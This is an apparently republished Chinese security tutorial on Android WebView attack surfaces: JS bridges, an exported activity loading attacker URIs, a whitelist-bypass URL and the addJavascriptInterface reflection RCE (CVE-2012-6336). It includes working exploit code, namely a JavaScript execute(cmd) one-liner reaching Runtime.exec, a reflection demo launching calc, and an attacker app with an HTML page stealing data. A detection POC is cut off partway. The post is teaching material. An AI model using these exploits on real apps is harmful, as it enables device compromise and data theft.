Android Webview历史高危漏洞与攻击面分析

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Android Webview历史高危漏洞与攻击面分析相关的知识,希望对你有一定的参考价值。

文章目录

前言

WebView 是 android 系统中的原生控件,它是一个基于 webkit 引擎、展现 web 页面的控件,相当于增强版的内置浏览器。现在很多 App 里都内置了 Web 网页(Hybrid App),比如说很多电商平台,淘宝、京东、聚划算等等。Webview 的广泛使用也就导致了其成为攻击者关注的对象,本文将学习、讨论下 Webview 远程代码执行漏洞、跨域访问漏洞及其它攻击面。

WebView基础

WebView 控件功能强大,除了具有一般 View 的属性和设置外,还可以对 url 请求、页面加载、渲染、页面交互进行强大的处理。

极简Demo程序

在 App 工程 com.bwshen.test 中新建 WebviewTestActivity :

public class WebviewTestActivity extends AppCompatActivity 

    @Override
    protected void onCreate(Bundle savedInstanceState) 
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview_test);
        WebView webView = findViewById(R.id.web_view);
        webView.getSettings().setjavascriptEnabled(true); 
        webView.loadUrl("https://www.baidu.com");
    

页面布局如下:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent" >
    <WebView
        android:id="@+id/web_view"
        android:layout_width="match_parent"
        android:layout_height="match_parent" />
</LinearLayout>

注意 AndroidMainfest.xml 需要申请访问网络的权限:

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

程序运行效果:

JS调用Android

在上面 App 的工程 assets 文件夹下新建 javascript.html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Carson</title>
    <script>
         function callAndroid()
            //由于对象映射,所以调用test对象等于调用Android映射的对象
            test.hello("Tr0e!");
         
      </script>
</head>
<body>
   <!--点击按钮则调用callAndroid函数-->
   <button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>

修改 WebviewTestActivity :

public class WebviewTestActivity extends AppCompatActivity 
    private static String TAG = "WebviewTestActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) 
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview_test);
        WebView webView = findViewById(R.id.web_view);
        //设置开启JS支持
        webView.getSettings().setJavaScriptEnabled(true);
        //往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
        webView.addJavascriptInterface(new AndroidtoJs(), "test");
        webView.loadData("", "text/html", null);
        //加载asset文件夹下html
        webView.loadUrl("file:///android_asset/javascript.html");
    

    /**
     * 提供接口在Webview中供JS调用
     */
    public class AndroidtoJs 
        // 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
        @JavascriptInterface
        public void hello(String msg) 
            Log.e(TAG,"Hello," + msg);
        
    

来看看程序的运行效果:

加载远程HTML

以上是加载了本地的 html 页面,下面来做个有趣的测试,App 加载远程 html 页面并调用 Android App 提供的接口(即上文 AndroidtoJs 类的 hello 函数)。

首先在本地 PC 临时目录下创建 attack.html(页面内容同上文的 javascripts.html),然后本地起一个简易的 Python HttpServer:

然后简单修改 App 的 WebviewTestActivity,“远程”加载上述 attack.html 页面:

WebView webView = findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new AndroidtoJs(), "test");
webView.loadData("", "text/html", null);
// webView.loadUrl("file:///android_asset/javascript.html");
webView.loadUrl("http://192.168.0.110:8080/attack.html");

运行程序,看看效果:

远程 Web Server 也成功收到访问请求:

关于 WebView 组件与 JS 之间的其他用法,请参见 Android:你要的WebView与 JS 交互方式 都在这里了,本文不再展开。

接口攻击场景

以上 WebView 组件的使用看着一切正常,接下来来看下 WebView 对外暴露的接口可能存在的风险,以及攻击者可能的攻击手段。

漏洞示例程序

修改下 com.bwshen.test 应用的 WebviewTestActivity:

public class WebviewTestActivity extends AppCompatActivity 
    private static String TAG = "WebviewTestActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) 
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview_test);
        WebView webView = findViewById(R.id.web_view);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new AndroidtoJs(), "test");
        webView.loadData("", "text/html", null);
        Uri getUri = getIntent().getData();
        webView.loadUrl(String.valueOf(getUri));
    

    /**
     * 提供接口在Webview中供JS调用
     */
    public class AndroidtoJs 
        // 定义JS需要调用的方法,被JS调用的方法必须加入@JavascriptInterface注解
        @JavascriptInterface
        public String getPassword() 
            return "admin123";
        
    

在 AndroidMainfest.xml 中声明组件对外导出:

<activity android:name=".webview.WebviewTestActivity" 
          android:exported="true">
</activity>

本地攻击程序

在攻击程序 com.bwshen.attack 中编写如下攻击代码:

Button2.setOnClickListener(new View.OnClickListener() 
      @Override
      public void onClick(View v) 
          Intent attackIntent = new Intent();
          attackIntent.setClassName("com.bwshen.test","com.bwshen.test.webview.WebviewTestActivity");
          attackIntent.setData(Uri.parse("http://192.168.0.110:8080/attack.html"));
          startActivity(attackIntent);
     
);

同时修改 attack.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>WebView Atack</title>
    <script>
         function callAndroid()
            //由于对象映射,所以调用test对象等于调用Android映射的对象
            var password = test.getPassword();
			document.getElementById("getdata").innerHTML= password;
         
     </script>
</head>
<body>
   <p id="getdata">攻击获得的数据将显示在此……</p>
   <!--点击按钮则调用callAndroid函数-->
   <button type="button" id="button1" onclick="callAndroid()">Click Me for fun!</button>
</body>
</html>

页面效果如下:

运行攻击程序,效果如下:

点击按钮,成功通过 JS 调用受害者 App 的敏感接口 getPassword 获得敏感数据:

以上是 Local 本地攻击,可以借助 Deeplink 技术完全转换成远程攻击,参见Android 应用层组件安全测试基础实战技巧

url白名单校验

综上可以看出,对于 WebView 组件,如果无脑调用 webView.loadUrl(uri) 加载外部可控的 URI,将导致 App 遭受外部攻击的风险。所以在加载外部传入的 URI 之前,应该进行白名单校验,对恶意、非法 URI 进行拦截。

但是需要注意的是,URI 白名单校验的方式经常存在被绕过的风险,比如以下代码:

protected void onCreate(Bundle savedInstanceState) 
    ……
    Uri getUri = getIntent().getData();
    String inputUrl = String.valueOf(getUri);
    if (checkDomain(inputUrl))
         webView.loadUrl(inputUrl);
    


private static boolean checkDomain(String inputUrl)

     String[] whiteList=new String[]"site1.com","site2.com";
     for (String whiteDomain:whiteList)
     
        if (inputUrl.indexOf(whiteDomain)>0)
           return true;
     
     return  false;

绕过方法:这个校验逻辑错误比较低级,攻击者直接输入 http://www.hacker.com/poc.html?site1.com 就可以绕过了。因为 URL 中除了代表域名的字段外,还有路径、参数等和域名无关的字段,因此直接判断整个 URL 是不安全的。虽然直接用 indexOf 来判断用户输入的 URL 是否在域名白名单内这种错误看上去比较 low,但是现实中仍然有不少缺乏安全意识的开发人员在使用。

上面介绍的是最简单的一种 URL 白名单校验及其绕过方式,更多校验方式及绕过方法请参见:一文彻底搞懂安卓WebView白名单校验,本文不再展开。

代码执行漏洞

从上面的案例可以看到,JS 调用 Android 的其中一个方式是通过 addJavascriptInterface 接口进行对象映射:

//设置开启JS支持
webView.getSettings().setJavaScriptEnabled(true);
//往WebView中注入了一个Java对象,而这个Java对象的方法可以被js访问
webView.addJavascriptInterface(new AndroidtoJs(), "test");

而在 Android API 16 以及之前的版本,Webview 组件存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用 WebView.addJavascriptInterface 方法,远程攻击者可通过使用 Java Reflection API 利用该漏洞执行任意 Java 对象的方法,包括系统类(java.lang.Runtime 类),从而进行任意代码执行,如可以执行命令获取本地设备的 SD 卡中的文件等信息从而造成信息泄露。

【注意】WebView 任意代码执行漏洞有三种触发点

触发点CVE编号影响范围
WebView 中 addJavascriptInterface 接口CVE-2012-6336Android <= 4.1.2 (API level 16)
WebView 内置导出的 searchBoxJavaBridge_对象CVE-2014-1939Android <= 4.3.1
WebView 内置导出的 accessibility 和 accessibilityTraversalObject 对象CVE-2014-7224Android < 4.4

本文只讨论第一种—— addJavascriptInterface 接口,简单的说就是通过 addJavascriptInterface 给 WebView 加入一个 JavaScript 桥接接口,JavaScript 通过调用这个接口在低版本的 Android 上可以直接无限制地随意操作本地的 JAVA 接口。

漏洞触发前提

  1. 使用 addJavascriptInterface 方法注册可供 JavaScript 调用的 Java 对象;
  2. 使用 WebView 加载外部网页或者本地网页;
  3. Android 系统版本低于 4.2(Android API level 小于17)。

获取系统类的大致流程

  1. Android 中的对象有一公共的方法:getClass() ;
  2. 该方法可以获取到当前类的类型 Class;
  3. 该类有一关键的方法: Class.forName;
  4. 该方法可以加载一个类(可加载 java.lang.Runtime 类);
  5. 而该类是可以执行本地命令的。

JAVA反射机制

JAVA 反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为 Java 语言的反射机制。

反射,从这个“反”字可以看出与我们平时正常的使用逻辑肯定不一样,那么到底什么地方不一样了?想要了解“反”,就得先了解一下“正”的概念。在正常情况下,如果要使用一个类,必须要经过以下几个步骤:

  1. 使用 import 导入类所在的包(类:java.lang.Class);
  2. 通过关键字 new 进行类对象实例化(构造方法:java.lang.reflect.Constructor);
  3. 产生对象可以使用“对象.属性”进行类中属性的调用(属性:java.lang.reflect.Field);
  4. 通过“对象.方法()”调用类中的方法(方法:java.lang.reflect.Method)。

括号中的补充字体对应的是每个步骤对应反射中使用到的类,在反射中使用一个类并不需要导入类的所在包,只要知道类的完整路径就可以知道该类中的所有信息。关于 Java 反射机制的理解,请参见 Java-反射机制,本文也不展开。

直接来看一个简单的 Java 反射 Demo:

package com.Tr0e.test;

import java.lang.reflect.Method;

class Student 
    private String name;

    public String getName() 
        return name;
    

    private void setName(String name) 
        this.name = name;
    


public class ReflectInvokeDemo 
    public static void main(String[] args) throws Exception 
        //获取Student类的Class对象
        Class<?> cls = Class.forName("com.Tr0e.test.Student");
        System.out.println("Class = " + cls.getName());
        //反射获取Student类的函数数组
        Method[] methods = cls.getDeclaredMethods();
        for (Method method:methods)
            System.out.println("method = " + method.getName());
        
        // 实例化对象
        Object obj = cls.newInstance();
        //调用Student类的私有函数setName()方法,相当于Student对象.setName("Tr0e");
        methods[1].setAccessible(true);
        methods[1].invoke(obj, "Tr0e");
        //调用getName()方法并输出
        System.out.println("Hello," + methods[0].invoke(obj));
    

程序运行结果如下所示:

Next,来看看如何借助上面的 Java 反射实现命令执行:

public class ReflectInvokeDemo 
    public static void main(String[] args) throws Exception 
        //获取Student类的Class对象
        Class<?> cls = Class.forName("com.Tr0e.test.Student");
        System.out.println("Class = " + cls.getName());
        //反射获取Student类的函数数组
        Method[] methods = cls.getDeclaredMethods();
        for (Method method:methods)
            System.out.println("method = " + method.getName());
        
        try
            Class c = cls.forName("java.lang.Runtime");
            Method m = c.getMethod("getRuntime", null);
            m.setAccessible(true);
            //第一个参数为类的实例,第二个参数为相应函数中的参数
            Object obj = m.invoke(null,null);
            Class c2 = obj.getClass();
            String array = "cmd.exe /k start calc";
            //获得该类中名称为exec,参数类型为String的方法
            Method n = c2.getMethod("exec", array.getClass());
            //调用方法n
            n.invoke(obj, new Object[]array);
        catch (Throwable e)
            System.out.println(e.toString());
        
    

程序运行结果,可以看到成功借助反射机制执行命令运行了本地计算器:

有了以上的基础,我们知道,拿到 JAVA 对象之后,可以获取类对象,然后通过反射调用任意对象的任意方法。而在我们前面的 WebView 漏洞代码中,由于访问的页面是不可控的,所以在访问危险页面时,如果页面中的 js包含危险调用,如:

function execute(cmd)
    //jsObject是导出的Object
    return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);

在 JS 中获得了 Webview 中导出的 Object,只要通过上述代码就可以进行反射并 RCE。早期的 Android 版本没有对可以访问的方法作限制,这就是该漏洞的根本成因。

历史漏洞POC

在检测某个 apk 是否包含此漏洞时,我们只需要让它访问一个页面,该页面中的 js 遍历其 windows 对象然后判定 getClass 函数是否存在即可。

POC 示例代码如下:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"/>
<title>WebView漏洞检测--捉虫猎手</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0以上是关于Android Webview历史高危漏洞与攻击面分析的主要内容,如果未能解决你的问题,请参考以下文章

Android Webview历史高危漏洞与攻击面分析

谷歌公布安卓系统高危漏洞,这个漏洞会对安卓用户有啥影响?

Android 曝出两个高危漏洞

主流安卓APP都中招了!“应用克隆”漏洞的快速检测修复方案

Android LaunchAnywhere组件权限绕过漏洞

Android LaunchAnywhere组件权限绕过漏洞